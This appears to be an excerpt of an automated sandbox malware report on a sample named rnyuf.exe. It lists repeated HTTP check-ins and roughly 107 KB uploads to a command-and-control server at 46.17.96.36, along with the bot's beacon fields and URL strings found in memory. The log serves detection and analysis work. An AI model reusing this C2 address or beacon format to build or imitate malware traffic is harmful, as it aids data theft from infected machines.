Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3cHost: 46.17.96.36Content-Length: 107128Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----cc6e581ce94a2c7e20266147ae0a1079Host: 46.17.96.36Content-Length: 111522Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abcHost: 46.17.96.36Content-Length: 107132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Source: Joe Sandbox View

IP Address: 162.159.134.233 162.159.134.233

Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.17.96.36

Source: rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	String found in binary or memory: http://46.17.96.36/
Source: rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	String found in binary or memory: http://46.17.96.36/1
Source: rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	String found in binary or memory: http://46.17.96.36/17.96.36/k8FppT/index.php?scr=1
Source: rnyuf.exe, 00000005.00000002.989859171.00000000046E2000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8F
Source: rnyuf.exe, 00000005.00000002.989859171.00000000046E2000.00000004.00000001.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php
Source: rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php#
Source: rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	String found in binary or memory: http://46.17.96.36/k8FppT/index.php/k8FppT/index.php
